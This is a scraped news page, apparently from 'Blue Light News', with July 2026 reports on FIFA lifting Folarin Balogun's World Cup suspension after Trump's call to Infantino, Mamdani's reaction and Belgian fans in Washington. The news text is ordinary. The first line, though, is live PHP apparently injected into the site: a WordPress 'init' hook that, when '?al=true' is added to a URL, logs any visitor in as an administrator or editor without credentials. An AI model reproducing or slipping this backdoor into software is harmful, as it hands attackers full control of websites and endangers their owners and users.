// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Belgian’s Beltway fans – Blue Light News
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Belgian’s Beltway fans

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WASHINGTON — As all eyes are on Seattle, Belgian fans will gather not far from the source of the day’s real intrigue — the White House — for tonight’s match.

Staffers from the Belgian Embassy will be at Wunder Garten, a trendy outdoor beer garden in the city’s NoMa neighborhood, ringing in the game with drink specials and prize giveaways. They’ll take in a game dripping in controversy — after FIFA’s decision Sunday to revoke American striker Folarin Balogun’s suspension from the match.

Critics charge that the decision was steered by the White House. Blue Light News will be on the scene with Belgium’s Beltway fanbase.

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Capitol agenda: Jeffries takes hands-off approach to Israel

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As Democrats wrestled with how to handle a politically thorny vote, Jeffries offered caucus forums but little guidance…
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Mamdani stays mum on Balogun controversy

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1 hour ago

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July 6, 2026

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New York City Mayor Zohran Mamdani is playing coy about the red card reversal heard ‘round the world.

Instead of directly addressing the revocation of USMNT striker Folarin Balogun’s one-game suspension, the soccer-loving mayor posted a clip on X on Monday featuring a quote from José Mourinho, the legendary Portuguese soccer manager.

“I prefer really not to speak. If I speak — big trouble, big trouble. I don’t want to be in big trouble,” Mourinho said in the iconic 2014 clip shared by Mamdani in response to a post from a Blue Light News reporter remarking that the mayor had yet to comment on the unfolding Balogun controversy.

In an interview on Univision’s New York affiliate filmed Monday morning, Mamdani called it “cruel” for the referee to have hit Balogun with a red card in last week’s game between the U.S. and Bosnia and Herzegovina.

“I’m looking forward to seeing the U.S. men’s national team tonight. I think beyond that, I’ll have to quote José Mourinho who said, ‘I prefer not to speak, if I speak I get in trouble,’” Mamdani added, according to a transcript of the interview shared by his office with Blue Light News ahead of airing Monday evening.

The issue is fraught for Mamdani for two reasons.

Mamdani, an avid soccer fan born in Uganda, has said he’s rooting for the U.S. in the 2026 World Cup. It’d thereby be awkward for him to take issue with the U.S. star striker being cleared to play in Monday night’s round of 16 showdown against Belgium.

Separately, despite being a democratic socialist, Mamdani has enjoyed a surprisingly cordial relationship with President Donald Trump. He has sought to use that relationship to leverage material benefits for New York City, such as greater federal investment in local housing developments.

If he goes after Trump for his role in overturning Balogun’s suspension, Mamdani would run the risk of angering the mercurial president.

FIFA shocked the soccer universe Sunday when it announced it had scrapped Balogun’s mandatory one-game suspension because of the red card. After the announcement, it was revealed FIFA made the highly unusual reversal after Trump privately asked FIFA President Gianni Infantino to review the one-game suspension for Balogun, raising concerns about inappropriate political pressure.

On Monday morning, Belgium’s soccer federation said it was formally challenging the Balogun suspension reversal — but FIFA ruled the Belgian appeal to be inadmissable.

Kickoff is set for 8 p.m. in Seattle.

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Infantino defends FIFA’s integrity against US red card corruption criticism

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July 6, 2026

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FIFA President Gianni Infantino on Monday defended his organization’s decision to defer U.S. striker Folarin Balogun’s one-game suspension ahead of the Monday World Cup match between the U.S. and Belgium.

“FIFA’s judicial bodies are independent,” Infantino said in a statement posted on X. “I read the decisions of the FIFA Disciplinary Committee when they are issued. Sometimes I am surprised by them. Sometimes I agree with them, and sometimes I disagree. What I always do, however, is respect those decisions and the autonomy of the bodies that make them.”

On Sunday, FIFA announced that its disciplinary committee suspended the red card that Balogun received during the U.S. game against Bosnia and Herzegovina. U.S. President Donald Trump said Monday that he had called Infantino to lobby for the suspension to be lifted, though the president insisted that “all I did was ask for a review,” and “I didn’t say that you have to do this.”

Infantino acknowledged discussing Balogun’s suspension with Trump but said he explained the “ongoing legal process involving FIFA’s independent judicial bodies” to the U.S. president.

Infantino added that “respect for independent institutions and the rule of law is what protects the integrity of our competitions and the credibility of FIFA at all times.”

UEFA, European football’s governing body, said in a statement Monday that FIFA’s decision was “incomprehensible and unjustifiable.”

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